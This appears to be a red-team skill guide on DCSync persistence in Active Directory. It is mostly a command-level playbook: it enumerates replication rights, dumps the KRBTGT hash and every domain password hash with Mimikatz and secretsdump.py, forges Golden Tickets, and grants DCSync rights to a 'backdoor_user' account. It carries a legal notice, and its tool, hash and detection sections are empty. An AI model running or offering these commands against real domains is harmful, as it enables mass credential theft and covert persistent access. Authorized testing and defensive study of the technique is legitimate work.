Conducting Domain Persistence with DCSync

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Overview

DCSync is an attack technique that abuses the Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to impersonate a Domain Controller and request password data from the target DC. The attack was introduced by Benjamin Delpy (Mimikatz author) and Vincent Le Toux, leveraging the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights. Any principal (user or computer) with these rights can replicate password hashes for any account in the domain, including the KRBTGT account. With the KRBTGT hash, attackers can forge Golden Tickets for indefinite domain persistence. DCSync is categorized as MITRE ATT&CK T1003.006 and is a critical post-exploitation technique used by APT groups including APT28 (Fancy Bear), APT29 (Cozy Bear), and FIN6.

When to Use

• When conducting security assessments that involve conducting domain persistence with dcsync
• When following incident response procedures for related security events
• When performing scheduled security testing or auditing activities
• When validating security controls through hands-on testing

Prerequisites

• Familiarity with red teaming concepts and tools
• Access to a test or lab environment for safe execution
• Python 3.8+ with required dependencies installed
• Appropriate authorization for any testing activities

Objectives

• Identify accounts with DCSync (replication) rights in Active Directory
• Perform DCSync using Mimikatz or Impacket's secretsdump.py
• Extract the KRBTGT account hash for Golden Ticket creation
• Dump all domain user password hashes for credential analysis
• Forge Golden Tickets for persistent domain access
• Grant DCSync rights to a controlled account for alternative persistence
• Document the attack chain and persistence mechanisms

MITRE ATT&CK Mapping

• T1003.006 - OS Credential Dumping: DCSync
• T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
• T1222.001 - File and Directory Permissions Modification: Windows
• T1098 - Account Manipulation
• T1078.002 - Valid Accounts: Domain Accounts

Workflow

Phase 1: Identify Accounts with DCSync Rights

1. Enumerate principals with replication rights:

```powershell # Using PowerView Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs | Where-Object { ($.ObjectAceType -match 'Replicating') -and ($.ActiveDirectoryRights -match 'ExtendedRight') } | Select-Object SecurityIdentifier, ObjectAceType

# Using BloodHound Cypher query MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain) RETURN u.name, d.name ```

1. Using Impacket's FindDelegation or custom LDAP query:

``bash # Check with Impacket findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1 ``

1. Default accounts with DCSync rights:

- Domain Admins - Enterprise Admins - Domain Controllers group - SYSTEM on Domain Controllers

Phase 2: DCSync Credential Extraction

1. Using Mimikatz (Windows):

```powershell # Dump specific account (KRBTGT for Golden Ticket) mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt"

# Dump Domain Admin mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator"

# Dump all domain accounts mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv" ```

1. Using Impacket secretsdump.py (Linux):

```bash # Dump all credentials secretsdump.py domain.local/admin:'Password123'@10.10.10.1

# Dump specific user secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1

# Dump only NTLM hashes (no Kerberos keys) secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1

# Using Kerberos authentication export KRB5CCNAME=admin.ccache secretsdump.py -k -no-pass domain.local/[email protected] ```

Phase 3: Golden Ticket Creation

1. Using Mimikatz with extracted KRBTGT hash:

```powershell # Create Golden Ticket mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local \ /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \ /krbtgt:<krbtgtntlmhash> /ptt"

# Create with specific group memberships mimikatz.exe "kerberos::golden /user:fakeadmin /domain:domain.local \ /sid:S-1-5-21-XXXXXXXXXX \ /krbtgt:<krbtgtntlmhash> \ /groups:512,513,518,519,520 /ptt" ```

1. Using Impacket ticketer.py (Linux):

```bash # Create Golden Ticket ticketer.py -nthash <krbtgtntlmhash> -domain-sid S-1-5-21-XXXXXXXXXX \ -domain domain.local administrator

# Use the ticket export KRB5CCNAME=administrator.ccache psexec.py -k -no-pass domain.local/[email protected] ```

Phase 4: Persistence via DCSync Rights

1. Grant DCSync rights to a controlled account for persistence:

```powershell # Using PowerView - Add DS-Replication-Get-Changes-All rights Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \ -PrincipalIdentity backdoor_user -Rights DCSync

# Verify rights were added Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs | Where-Object { $.SecurityIdentifier -match "backdooruser_SID" } ```

1. Using ntlmrelayx.py for automated DCSync rights escalation:

``bash # Relay authentication to add DCSync rights ntlmrelayx.py -t ldap://DC01.domain.local --escalate-user backdoor_user ``

Tools and Resources

Critical Hashes to Extract

Detection Signatures

Validation Criteria

• Accounts with DCSync rights enumerated
• KRBTGT hash extracted via DCSync
• All domain credentials dumped successfully
• Golden Ticket forged and validated for DA access
• DCSync rights persistence mechanism established (if in scope)
• Access to Domain Controller validated with Golden Ticket
• Evidence documented with hash values and timestamps
• Remediation recommendations provided (double KRBTGT reset, ACL audit)